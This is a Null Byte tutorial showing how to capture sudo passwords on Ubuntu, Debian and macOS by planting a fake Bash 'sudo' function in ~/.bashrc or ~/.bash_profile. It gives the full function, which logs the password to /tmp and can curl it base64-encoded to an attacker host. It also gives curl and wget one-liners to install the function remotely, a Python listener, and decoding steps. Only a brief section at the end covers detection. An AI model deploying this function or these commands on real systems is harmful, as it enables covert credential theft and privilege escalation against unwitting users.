How to Steal Ubuntu & MacOS Sudo Passwords Without Any Cracking « Null Byte :: WonderHowTo

With a simple social engineering trick, sudo passwords can be captured in seconds without the target's knowledge. The passwords can then be saved to a file or exfiltrated to another computer on the network.After exploiting a system, penetration tester's and hackers will often begin privilege escalation (privesc) attacks. Such attacks includekernel exploitationandpassword phishing. The featured attack here takes a social engineering approach by utilizing Bash functions to emulate the functionality of thesudocommand.How Sudo Is Supposed to WorkLet's use the followingwhoamiandidcommands as an example. If we enterwhoamiinto a terminal, it will return the current username.~$ whoami

tokyoneonWith theidcommand, it will return the user'suid(-u), a unique identifier assigned to each user on the system. By default, in Debian and Ubuntu systems, a normal user (non-root user) is assigned the uid of 1000 (shown below). Similarly, in macOS, a normal user is assigned the 501 uid.~$ id -u

1000When prepended,sudoelevates and executes the provided command with root (uid 0) privileges. This is all standard and normal behavior forsudoand Unix systems.~$ sudo id -u

0Thetypecommand can be used to identify how the supplied command is interpreted by the shell.~$ type sudo

sudo is /usr/bin/sudoIn this case,sudois interpreted as /usr/bin/sudo. This is also standard behavior. When someone executes thesudocommand (e.g.,sudo whoami), they're essentially doing the following.~$ /usr/bin/sudo /usr/bin/whoami

rootRecommended Book on Amazon:Sudo Mastery: User Access Control for Real PeopleHow Bash Functions WorkThe waysudo(or any command for that matter) is interpreted can be modified in such a way that's transparent to the user. Much likeBash aliases, complex functions can be imported into the shell. Take the below GIF as an example.We can see running an ordinaryapt-getupdatecommand fails because "sudo" is no longer interpreted as a direct link to the real sudo binary. It's now a function that prints some arbitrary text. This can very easily be abused. The "sudo" function can behave exactly like the real sudo, while recording and exfiltrating the target's password.You Should Already Have Remote AccessThis article assumes remote access to the target system has been established. With macOS targets, this can be accomplished with anundetectable payload,USB drop attack, orUSB Rubber Ducky. Ubuntu and Debian servers are also exploitable using variousSSHandserver-basedvulnerabilities.Step 1: Create a Malicious Bash FunctionThis kind of abuse is better demonstrated in the below function. Comments have been added in green to explain the importance of each line.function sudo () {
  # A "realsudo" variable is created. It calls the `which` command to locate
  # the path to the real sudo binary. This is used later in the function to
  # execute the target's desired command.
  realsudo="$(which sudo)"

  # The `read` command will prompt (`-p`) the target with a convincing password
  # request. The `-s` argument hides the input password, just as the real
  # sudo command would. The target password is then set in the "inputPasswd"
  # variable.
  read -s -p "[sudo] password for $USER: " inputPasswd

  # There are two `printf` commands here, separated by a semicolon.
  # The first simply prints a new line in the terminal, as the real sudo
  # does. The second writes the target's username and password to a
  # file called "hackedPasswd.txt" in the /tmp directory.
  printf "\n"; printf '%s\n' "$USER : $inputPasswd" >/tmp/hackedPasswd.txt

  # As an alternative to writing the password to the /tmp directory,
  # it can be exfiltrated to the attacker's server. Uncomment the below
  # "encoded" and "curl" lines to enable this function. The password
  # is encoded with `base64` to make it easier to transmit in the URL.
  # encoded=$(printf '%s' "$inputPasswd" | base64) >/dev/null 2>&1
  # curl -s "http://attacker.com/$USER:$encoded" >/dev/null 2>&1

  # The `-S` option allows users to input their sudo password using the command
  # line. This is used to run an arbitrary `exit` command (`-c`) as the root
  # user (`-u`) to unlock the sudo timeout function. This command and its
  # output are hidden (/dev/null) from the target. It's only here to allow
  # sudo usage for future commands.
  # For more on sudo timeouts and /dev/null, see:
  # https://itsfoss.com/change-sudo-password-timeout-ubuntu/
  # https://stackoverflow.com/questions/10508843/what-is-dev-null-21
  $realsudo -S <<< "$inputPasswd" -u root bash -c "exit" >/dev/null 2>&1

  # With the sudo timeout engaged, privileged commands can be run without
  # prompting the user for a password. This line will execute the target's
  # desired command.
  $realsudo "${@:1}"
}Let's have a look at how this function appears to the target.As we can see, the target is still prompted with a password request when trying to install software. A closer look withtypereveals the malicious function. The captured password is saved to the /tmp/hackedPasswd.txt file.Option 1: Target Debian & Ubuntu SystemsWith Debian and Ubuntu systems, when a new terminal or shell is opened, the ~/.bashrc file is executed. This file (which can be modified by non-root users) usually defines useful attributes like aliases, history limit, and color variables. It can also be abused to import malicious Bash functions. This is true for Debian servers, Ubuntu desktops, and macOS systems.For convenience, I've uploadedthe malicious sudo functionto my GitHub page. It can be downloaded onto the target's system using the below command.~$ curl 'https://git.io/fhNWm' >> ~/.bashrcThis will append (>>) the sudo function to the bottom of the target's .bashrc file. From here on, when the target logs into their server (e.g., SSH) and executes asudocommand, the submitted password will be saved to the /tmp directory. Alternatively, ifcurlisn't installed on the target system,wgetcan be used.~$ wget -O- 'https://git.io/fhNWm' >> ~/.bashrcOption 2: Target macOS SystemsThis kind of attack is less effective against macOS users. Simply because they're not as likely to open a terminal and execute elevated commands. MacOS users don't need thesudocommand as often as VPS targets or Ubuntu desktop users. Still, I'll show how to set this up against a macOS target as it might be helpful to some penetration testers exploring every possible route to elevate their backdoor.Like the ~/.bashrc, macOS systems execute the~/.bash__profile filewhen Terminal is opened. Malicious Bash functions can be stored in this file. Use the belowwgetcommand to import the function into the target's Bash profile.~$ wget -O- 'https://git.io/fhNWm' >> ~/.bash_profileWhen the target opens Terminal and executes asudocommand, the password will be stored in the /tmp directory. This is illustrated in the below screenshot.Don't Miss:The Ultimate Guide to Hacking Computers Running macOSStep 2: Exfiltrate the Password (Optional)In addition to saving the password to the /tmp directory, it might be desirable to have the password sent to another computer or server. Aproper PHP listenercould be set up to gracefully intercept POST data containing the password.I decided to take a slightly unorthodox approach and feature a quick and dirty solution. This method requires a simple Python3 server set up on the attacker's Kali system. Thehttp.servermodule (-m) will create a web server using port80.~$ python3 -m http.server 80

Serving HTTP on 0.0.0.0 port 80 ...There are commands for encoding and exfiltrating passwords written intothe sudo function. It's disabled by default and needs to be uncommented to enable it.encoded=$(printf '%s' "$inputPasswd" | base64) > /dev/null 2>&1;
curl -s "http://attacker.com/$USER:$encoded" > /dev/null 2>&1;The password is encoded withbase64to make it easier to send in the URL. Curl is used to silently (-s) make a GET request on the attacker's server located at the "attacker.com" domain. This domain should be changed to the attacker's local IP address (192.168.1.X) or VPS IP address. Errors and output generated by thecurlcommand areforced into /dev/null with the 2>&1 redirect. This prevents curl from accidentally reporting errors in the terminal if the attacker's server is for some reason inaccessible.The target's username and password are actually sent in the URL. Imagine making a request to "http://192.168.1.X/tokyoneon:sUp3R-S3cUre_P@$$w0000rD!." The request would surely fail, there's no such webpage. However, the encoded password would be stored in the attacker's error log. Below is an example of such an error.Serving HTTP on 0.0.0.0 port 80 ...
127.0.0.1 - - [27/Feb/2019 00:05:12] code 404, message File not found
127.0.0.1 - - [27/Feb/2019 00:05:12] "GET /user:c1VwM1ItUzNjVXJlX1BAJCR3MDAwMHJEIQ== HTTP/1.1" 404 -Simplyechothe encoded password intobase64to decode (-d) it.~$ echo 'c1VwM1ItUzNjVXJlX1BAJCR3MDAwMHJEIQ==' | base64 -d

sUp3R-S3cUre_P@$$w0000rD!How to Protect Against Bash Function AbuseMalicious Bash functions can be difficult to detect. If there's an attacker on your system modifying the ~/.bashrc or ~/.bash_profile file, you might havebigger issues to worry about.As we learned earlier, thetypecommand is an extremely useful tool. It can be used to print the provided commands shell interpretation. Commands likesudoshould only call the appropriate binary or will sometimes appear as "hashed" in the session. All other conditions should be investigated.~$ type sudo

sudo is /usr/bin/sudoIt's also a good idea to manually inspect the ~/.bashrc file. Hacker's will often use this file to embed persistent backdoors into Unix systems (e.g., attempt a newNetcatconnection every time a terminal is opened). This can be done withnanoorvim.~$ nano ~/.bashrcFinal ThoughtsThis kind of social engineering attack has many applications. For example, similar functions can be created forsshand other remote administration protocols. It would be possible for an attacker to steal SSH credentials and pivot to other systems within the target's control. Likewise, a malicious function for thesucommand can be created. This command, likesudo, is designed to elevate user privileges and can be easily mimicked using simple Bash functions.If you enjoyed this article, follow me on Twitter@tokyoneon_andGitHubto keep up with my current projects. For questions and concerns, leave a comment below or message me on Twitter.Don't Miss:Use the Cowrie SSH Honeypot to Catch Attackers on Your NetworkWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo byArian Darvishi/Unsplash; Screenshots by tokyoneon/Null ByteRelatedLocking Down Linux:Harden Sudo Passwords to Defend Against Hashcat AttacksHow To:Hack WPA WiFi Passwords by Cracking the WPS PINHow To:Abuse Vulnerable Sudo Versions to Get RootHack Like a Pro:Snort IDS for the Aspiring Hacker, Part 3 (Sending Intrusion Alerts to MySQL)Hacking macOS:How to Hack a Mac Password Without Changing ItHow To:Easily Bypass macOS High Sierra's Login Screen & Get Root (No Password Hacking Required)How to Hack Like a Pro:Getting Started with MetasploitHow To:Install Ubuntu Linux on Your Google Nexus 7 Android TabletHow To:Check Your MacOS Computer for Malware & KeyloggersHow To:Install and enable Flash for Chromium on Ubuntu LinuxHow To:Get Sleek Ubuntu-Style Lock Screen Notifications on Your Samsung Galaxy S3How To:Install cool themes on Ubuntu LinuxHow To:Install Firefox 3.5/3.6 on Ubuntu LinuxHow To:Create a Bootable USB Drive for Ubuntu Using Mac or WindowsHacking macOS:How to Dump Passwords Stored in Firefox Browsers RemotelyHow To:Protect Yourself from macOS High Sierra's Glaring Empty-Password Security FlawHow To:The Ultimate Guide to Hacking macOSHow To:How Hackers Steal Your Internet & How to Defend Against ItHow To:Get Packet Injection Capable Drivers in LinuxHow To:Make an Unbreakable Linux Password Using a SHA-2 Hash AlgorithmHow To:How Hackers Take Your Encrypted Passwords & Crack ThemHow To:Recover WinRAR and Zip PasswordsNews:Change from BASH to zshNews:Performance Hacks & Tweaks for LinuxRainbow Tables:How to Create & Use Them to Crack PasswordsMastering Security, Part 1:How to Manage and Create Strong PasswordsHow To:Protect Your Mac & Linux Computers from Hacks by Creating an iptables FirewallNews:Advanced Cracking Techniques, Part 1: Custom DictionariesHow To:GPU Accelerate Cracking Passwords with HashcatHow To:Share Your Laptop's Wireless Internet with Ethernet DevicesNews:Advanced Cracking Techniques, Part 2: Intelligent BruteforcingHow To:Get Free Wi-Fi from Hotels & MoreHow To:Fix the Channel -1 Glitch in Airodump on the Latest KernelNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Four: The Invisible InternetHow To:Use Wireshark to Steal Your Own Local PasswordsHow To:Create an SSH Tunnel Server and Client in LinuxSecure Your Computer, Part 2:Password-Protect the GRUB Bootloader on Dual-Booted PCsHow To:Carve Saved Passwords Using CainNews:Complete Arch Linux Installation, Part 2: Graphical User Interface & PackagesHow To:Hack Mac OS X Lion Passwords